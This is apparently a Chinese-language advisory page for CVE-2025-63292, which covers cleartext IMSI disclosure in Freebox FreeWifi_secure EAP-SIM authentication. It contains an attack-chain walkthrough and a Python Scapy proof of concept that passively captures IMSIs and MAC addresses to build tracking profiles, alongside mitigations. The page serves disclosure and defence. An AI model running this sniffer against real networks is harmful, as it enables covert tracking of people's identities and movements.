IPBUF安全漏洞报告
English
CVE-2025-63292 CVSS 3.5 低危

CVE-2025-63292: Freebox设备FreeWifi_secure网络EAP-SIM认证明文传输IMSI信息泄露漏洞

披露日期: 2025-11-17

漏洞信息

漏洞编号
CVE-2025-63292
漏洞类型
信息泄露
CVSS评分
3.5 低危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Freebox v5 HD, Freebox v5 Crystal, Freebox v6 Révolution, Freebox Mini 4K, Freebox One

相关标签

信息泄露IMSI泄露EAP-SIMFreeboxFreeWifi_secure隐私泄露无线安全设备追踪CVE-2025-63292

漏洞概述

CVE-2025-63292是Freebox多个型号设备存在的严重信息泄露漏洞。该漏洞影响Freebox v5 HD、Freebox v5 Crystal、Freebox v6 Révolution r1-r3、Freebox Mini 4K和Freebox One等多款设备。研究发现,在FreeWifi_secure无线网络的EAP-SIM认证初始阶段,设备会以明文形式传输用户的IMSI(国际移动用户识别码)标识符。在EAP-Response/Identity交换过程中,用户的完整网络访问标识符(NAI)直接明文传输,而该标识符嵌入了原始IMSI数据。整个传输过程未使用任何加密、隧道或伪名化技术保护。攻击者只需处于Wi-Fi覆盖范围内(约100米),即可被动捕获这些未加密的无线帧,无需用户交互或特殊权限即可获取目标用户的IMSI信息。此信息泄露可导致设备跟踪、用户身份关联以及长期监控用户靠近任意Freebox设备时的存在状态。厂商已确认该漏洞,并计划于2025年10月1日前完全停用FreeWifi_secure服务。

技术细节

该漏洞根源于FreeWifi_secure服务在EAP-SIM认证协议实现中的设计缺陷。EAP-SIM(可扩展认证协议-SIM)是一种基于GSM SIM卡的认证机制,通常用于Wi-Fi网络接入认证。漏洞出现在EAP认证流程的初始Identity交换阶段:当用户设备尝试连接FreeWifi_secure网络时,设备会发送EAP-Response/Identity数据包,其中包含用户的完整NAI(Network Access Identifier)格式字符串。标准的NAI格式为:IMSI@realm,其中IMSI部分即为用户的唯一标识符。由于该数据包在无线链路上以明文形式广播,攻击者使用支持监听模式的无线网卡即可捕获这些认证帧。捕获的IMSI可被用于:1)设备指纹识别和长期追踪;2)与基站定位数据关联确定用户位置;3)跨时间地点关联分析用户行为模式。由于NAI在每次连接时保持不变,攻击者可建立用户设备档案,实现对目标长期的被动监控。攻击利用无需认证、无需交互、也无需特殊权限,只要能接收到无线信号即可。

攻击链分析

STEP 1
步骤1:准备攻击环境
攻击者配置支持监听模式的无线网卡,切换至monitor模式以捕获周围Wi-Fi信号
STEP 2
步骤2:识别目标网络
扫描周边存在的FreeWifi_secure无线网络,记录其BSSID(AP MAC地址)
STEP 3
步骤3:被动监听认证过程
使用监听模式无线网卡被动捕获FreeWifi_secure网络中所有无线帧,无需发送任何数据包
STEP 4
步骤4:解析EAP-Response/Identity
从捕获的无线帧中识别EAP-SIM认证的Identity响应包,提取明文NAI字段
STEP 5
步骤5:提取IMSI标识符
从NAI格式(IMSI@realm)中解析出用户完整的15位IMSI国际移动用户识别码
STEP 6
步骤6:建立追踪档案
将捕获的IMSI与MAC地址、时间戳、地理位置等信息关联,建立用户设备长期追踪档案

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-63292 PoC - Freebox FreeWifi_secure IMSI Information Disclosure This PoC demonstrates passive capture of IMSI from FreeWifi_secure EAP-SIM authentication Note: Requires monitor mode wireless interface and Scapy library """ from scapy.all import sniff, Dot11, EAP, Radius from scapy.layers.dot11 import RadioTap, Dot11Beacon, Dot11ProbeResp import re def parse_eap_identity(pkt): """ Parse EAP-Response/Identity packet to extract NAI containing IMSI """ if pkt.haslayer(EAP): eap_layer = pkt.getlayer(EAP) if hasattr(eap_layer, 'identity'): nai = eap_layer.identity.decode('utf-8', errors='ignore') # Extract IMSI from NAI format: IMSI@realm imsi_match = re.match(r'^(\d+)@', nai) if imsi_match: imsi = imsi_match.group(1) print(f"[+] Captured IMSI: {imsi}") print(f"[+] Full NAI: {nai}") print(f"[+] Source MAC: {pkt.addr2}") return {'imsi': imsi, 'nai': nai, 'mac': pkt.addr2} return None def packet_handler(pkt): """ Handle captured packets, filter for FreeWifi_secure EAP frames """ # Check for Data frames ( subtype 0x20-0x2f) if pkt.haslayer(Dot11) and pkt.type == 2: ssid = None # Try to extract SSID from probe requests/responses if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp): if hasattr(pkt, 'info'): try: ssid = pkt.info.decode('utf-8') except: pass # Filter for FreeWifi_secure network if ssid == 'FreeWifi_secure' or b'FreeWifi_secure' in bytes(pkt): result = parse_eap_identity(pkt) if result: return result # Check for EAP over LAN frames if pkt.haslayer(Radius): result = parse_eap_identity(pkt) if result: return result return None def start_capture(interface='wlan0mon', timeout=60): """ Start passive capture on specified monitor mode interface Args: interface: Wireless interface in monitor mode timeout: Capture duration in seconds """ print(f"[*] Starting passive capture on {interface}") print("[*] Waiting for FreeWifi_secure EAP-SIM authentication frames...") print("[*] Press Ctrl+C to stop") try: packets = sniff(iface=interface, prn=packet_handler, timeout=timeout) print(f"\n[+] Captured {len(packets)} packets") except KeyboardInterrupt: print("\n[!] Capture stopped by user") except Exception as e: print(f"[!] Error: {e}") print("[!] Make sure interface is in monitor mode:") print("[!] sudo ip link set wlan0 down") print("[!] sudo iw dev wlan0 set type monitor") print("[!] sudo ip link set wlan0 up") if __name__ == '__main__': import sys interface = sys.argv[1] if len(sys.argv) > 1 else 'wlan0mon' start_capture(interface=interface)

影响范围

Freebox v5 HD firmware < 1.7.20
Freebox v5 Crystal firmware < 1.7.20
Freebox v6 Révolution r1-r3 firmware < 4.7.x
Freebox Mini 4K firmware < 4.7.x
Freebox One firmware < 4.7.x

防御指南

临时缓解措施
该漏洞目前无有效的用户端修复方案,因为问题源于EAP-SIM认证协议的设计缺陷和Freebox设备固件实现。临时缓解措施包括:1)停止使用FreeWifi_secure网络,改用移动数据或付费的加密Wi-Fi服务;2)在必须使用时开启VPN以加密所有网络通信;3)启用设备的随机MAC地址功能;4)关注厂商固件更新通知,及时更新设备固件。由于厂商已确认漏洞并计划停用该服务,建议用户在此期间尽量避免使用FreeWifi_secure网络以防止IMSI信息泄露。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表